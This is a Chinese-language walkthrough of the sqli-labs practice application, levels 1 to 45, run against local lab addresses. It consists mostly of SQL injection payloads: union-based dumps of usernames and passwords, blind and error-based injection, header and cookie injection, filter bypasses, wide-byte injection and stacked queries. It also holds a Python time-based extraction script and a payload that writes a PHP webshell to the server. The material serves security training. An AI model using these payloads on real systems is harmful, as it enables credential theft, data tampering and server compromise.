联合注入
less-1(字符型)
-
添加单引号寻找注入点,然后闭合单引号
-
order by()
判断列数,三列时回显正常
-
查询任意不存在的数,得到显示位
-
使用
database()
函数查询当前库名
或直接查询所有库名
http://192.168.10.7/sqli/Less-1/?id=-1%E2%80%99+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+
- 查询
security
下的所有表名
http://192.168.10.7/sqli/Less-1/?id=-1%27+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=+%27security%27--+
- 查询
users
表的字段名
http://192.168.10.7/sqli/Less-1/?id=-1%27+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name=+%27users%27--+
- 查内容
http://192.168.10.7/sqli/Less-1/?id=-1%27+union+select+1,group_concat(username),group_concat(password)+from+users--+
less-2(数字型)
- 寻找注入点
-1 or 1=1 --+
- 判断字段列数,payload如下:
http://192.168.10.7/sqli/Less-2/?id=1+order+by(3)
3. 之后就和第一关一摸一样payload如下:
?id=-1+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+ //查库
?id=-1+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=+%27security%27--+ //查表
?id=-1+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name=+%27users%27--+ //查字段
?id=-1+union+select+1,group_concat(username),group_concat(password)+from+users--+ //查内容
less-3(特殊闭合)
需要加')
闭合
?id=-1%27)--+ //注入点
?id=-1%27)+order+by(3)--+ //判断字段数
?id=-1%27)+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+ //查库
?id=-1%27)+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=+%27security%27--+ //查表
?id=-1%27)+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name=+%27users%27--+ //查字段
?id=-1%27)+union+select+1,group_concat(username),group_concat(password)+from+users--+ //查内容
less-4(特殊闭合)
需要加")
闭合,其他和第三关一摸一样
盲注
less-5
添加单引号会报错,但是尝试之前的注入方法,会发现页面不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in...。
出错的话就不会返回这个字符串,所以这里我们可以进行盲注。
left()+length()
/*使用1' and left(version(),1)=3%23这个payload进行测试,截取version()得到的最左侧的字符判断是否为3,如果为3则正常返回You are in...,否则不返回。
*所以我们可以利用这个一步一步爆破得到left(version(),1)=5。爆破区间可以确定在/[0-9.]/。
*采用1'and length(database())=8%23对数据库名字长度进行爆破,确定数据库名字长度之后,我们可以使用database()来进行爆破数据库名,
*采用left(database(),1)>'a'这个payload进行测试,原*理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。
*/
?id=1%27+and+left(database(),1)='s'--+ /*库名左侧第一位为s.......依次枚举*/
regexp
/*user()的结果是root,regexp为匹配root的正则表达式。则可以构造如下*/
?id=1%27+and+user()+regexp+'r'--+
?id=1%27+and+user()+regexp+'ro'--+
?id=1%27+and+user()+regexp+'roo'--+
?id=1%27+and+user()+regexp+'root'--+
/*查询其他同理依次枚举*/
like
/*匹配与regexp相似。例如当前版本的第一个字符为5:*/
?id=1%27+and+version()+like+'5%'--+
substr()
/*substr(a,b,c)从位置b开始,截取a字符串c位长度。*/
?id=1'+and+substr((select+database()),1,1)='s'--+
?id=1'+and+substr((select+database()),1,2)='se'--+
?id=1'+and+substr((select+database()),1,3)='sec'--+
......
ascii()
/*将某个字符串转化为ascii值,可以和substr()联合起来用*/
?id=1%27+and+ascii(substr((select+database()),1,1))=115--+ //s的ascii值为115
ord()、mid()
/*mid(column_name,start[,length]) //从位置start开始,截取column_name字符串的length位,与substr作用相同*/
/*cast(username as char)将username转换成字符串*/
/*ifbull(exp1,exp2)假如expr1不为NULL,则ifnull()的返回值为expr1; 否则其返回值为expr2*/
/*ord() //将某个字符转换成ascii码,同ascii()*/
?id=1'+and+ord(mid((select+ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+
sleep()
/*根据时间延迟来判断,执行的成功与否*/
?id=1%27+and%20if(ascii(substr(database(),1,1))=116,1,sleep(5))--+
//数据库的第一个字符是s,ascii码为115执行错误触发延时
less-6
与第五关相同,只不过注入点由单引号变为双引号
less-7(导出文件)
/*需要先在靶机my.ini中添加secure-file-priv=''然后重启MySQL*/
/*写入一句话木马*/
?id=1'))+union+select+1,2,'<?php @eval($_post[“mima”])?>'+into+outfile+"C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\shell.php"--+
less-8
/*单引号闭合,延时注入*/
?id=1%27%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
对于延时盲注而言,一般不会手动去一个一个猜解,利用python脚本可以很方便的跑出来,例如以下脚本:
import requests
import time
import datetime
url = "http://127.0.0.1/sqli/Less-8/index.php"
p1 = 'abcdefghijklmnopqrstuvwxyz'
#获取数据库长度
def database_len():
for i in range(1,10):
payload = "?id=1' and if(length(database())>%s,sleep(4),0)--+"%i
url1 = url +payload
#print(url1)
time1 =datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3 = (time2-time1).total_seconds() #计算时间差, 忽略天 只看时分秒 total_seconds() 真正的时间差 包含天
if time3 >= 4:
print(i)
else:
print(i)
break
print('数据库长度为:',i)
#database_len()
#获取数据库名
def datebase_name():
name=''
for i in range(1,9):
for j in p1:
payload="?id=1' and if(substr(database(),%s,1)='%s',sleep(4),1)--+" %(i,j)
url1=url+payload
#print(url1)
time1=datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3=(time2-time1).total_seconds()
if time3 >= 4:
name += j
print(name)
break
n = name
print('数据库名字为:'+n)
#datebase_name()
#获取表
def tables_name():
global table4
table1=''
table2=''
table3=''
table4=''
for i in range(5):
for j in range(1,6):
for t in p1:
payload="?id=1' and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'),3,0)) --+"%(i,j,t)
url1=url+payload
#print(url1)
time1=datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3=(time2-time1).seconds
if time3 >= 3:
if i == 0:
table1 +=t
print('第一个表为:',table1)
elif i == 1:
table2 += t
print('第二个表为:',table2)
elif i == 2:
table3 +=t
print('第三个表为:',table3)
elif i == 3:
table4 += t
print('第四个表为:',table4)
else:
break
print('第一个表为'+table1)
print('第二个表为'+table2)
print('第三个表为' + table3)
print('第四个表为' + table4)
#tables_name()
#获取表中的字段
def table_column():
global column3
column1=''
column2=''
column3=''
f=table4
for i in range(3):
for j in range(1,9):
for t in p1:
payload="?id=1' and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)='%s'),5,0)) --+"%(f,i,j,t)
url1 =url+payload
#print(url1)
time1 = datetime.datetime.now()
r = requests.get(url=url1)
time2 = datetime.datetime.now()
time3 = (time2 - time1).seconds
if time3 >= 5:
if i == 0:
column1 += t
print('字段一为:'+column1)
elif i == 1:
column2 += t
print('字段二为:'+column2)
elif i == 2:
column3 += t
print('字段三为:'+column3)
else:
break
print('users字段一为:'+column1)
print('字段二为:'+column2)
print('字段三为:',column3)
#table_column()
def s_content():
content1=''
f1= column3
f2= table4
for i in range(20):
for t in p1:
payload = "?id=1' and sleep(if((mid((select %s from %s limit 7,1),%s,1)='%s' ),3,0)) --+"%(f1,f2,i,t)
url1 =url+payload
#print(url1)
time1=datetime.datetime.now()
r = requests.get(url=url1)
time2 = datetime.datetime.now()
time3 = (time2-time1).seconds
if time3 >=3:
content1 += t
print('password字段一内容为:'+content1)
break
print('字段内容为:'+content1)
start_time=time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time=time.time()
end_start_time=end_time-start_time
print('总花费时间为',end_start_time,'秒')
less-9
/*单引号闭合,同理直接延时注入*/
?id=1%27%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
less-10
/*双引号闭合,同理延时注入*/
?id=1"%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
less-11
/*这里需要burp或hackber来提交post请求,单引号闭合,使用报错注入*/
' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a--+
' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x--+
less-12
/*双引号加括号闭合,同11*/
") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a--+
less-13
/*无回显,但是错误会显示,所以使用布尔注入或延时*/
1') or 1=1#
less-14
/*可以使用报错注入*/
1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
less-15
/*延时注入*/
admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
less-16
/*双引号加括号闭合,同15*/
admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
less-17
/*用户名存在过滤,所以在密码处使用报错*/
admin
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
http标头注入
less-18
/* Header 头注入*/
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),"1","1")#
less-19
/*Referer注入*/
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
cookie注入
less-20
/*cookie 注入,登录成功后 cookie处报错注入即可*/
admin
admin登陆后获取cookie
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
less-21
/*cookie 加上了 base64,所以构造一下payload即可*/
admin处单引号加括号闭合
admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSAjIA==
less-22
/*同21,只不过用双引号闭合*/
payload为:
admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpICMg
注释符过滤
less-23
/*这里#、--+均被过滤了,可以用or "1"="1来闭合后面的引号*/
payload为:
-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
二次注入
less-24
/*这里是个二次注入,我们可以先注册一个admin'#的账号,在修改密码处我们就可以以自己的密码修改 admin 的密码了,因为修改密码处形成的 sql 语句是
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx
这样#就注释掉了后面的 sql 语句
*/
点击新注册账号
注册admin'#
使用admin'#登录
修改密码为654321
因为用户名为admin'#
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
然后使用admin登录,其密码为654321
less-25
/*这里页面,直接提示我们and和or被过滤了,然并卵*/
第一种,直接使用常规方式注入:
?id=-1' union select 1,2,3--+
第二种,查看源代码发现,只过滤了一次,和xss一样双写and和or即可
less-25a
查看源代码发现由字符型变成了数字型,其他方面和25相同
less-26
查看源代码发现闭合方式为单引号,并且过滤了: and、or、空格、#、--,其实只需要把关键字替换一下即可
payload为:
?id=1'||left(database(),1)='s'%26%26'1'='1
less-26a
直接使用布尔注入
?id=1'||%0adatabase()%0a='security'%26%26'1'%3d'1
less-27
查看源代码可以发现,过滤变得更加严格,但是稍微变化一下payload,也就能绕过了
less-27a
可以看到,它这里给我们输入的id前后拼接上了双引号
payload为:
0"%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
less-28
查看源代码,可以发现其闭合方式为:')
过滤了union+ select,那么直接盲注即可
payload为
?id=0')||database()%0ALIKE%0A'security%';%00
less-28a
通过源文件可以发现,只过滤了union+select
pyaload为:
0')||left((database()),1)='s';%00
less-29
payload为:
1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
less-30
与29关大体相似,只不过加了双引号
payload:
1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
less-31
闭合变成了")
payload为:
1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
宽字节注入
less-32
注意是GBK编码,可以用%df等进行宽字节注入
payload为:
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
less-33
payload为:
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
less-34
无非就是提交方式变成了POST
payload为:
0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23
less-35
payload为:
0 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
less-36
payload为:
-1%df' union select 1,2,3 --+
less-37
payload为:
0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23
堆叠注入
less-38(字符型)
payload为:
1';create table test like users;%23
less-39(数字型)
payload为:
1;create table test like users;%23
less-40
闭合变为单引号括号
payload为:
1');create%20table%20testss%20like%20users;%23
less-41
payload为:
1;create table test41 like users;%23
less-42
提交方式变为POST
password处无过滤
payload为:
1'%3bcreate+table+test42+like+users%3b%23
less-43
password处无过滤,闭合方式为')
payload为:
1')%3bcreate+table+test43+like+users%3b%23
less-44
password处无过滤
payload为:
1'%3bcreate+table+test44+like+users%3b%23
less-45
payload为:
1')%3bcreate+table+test45+like+users%3b%23
less-46
loading...........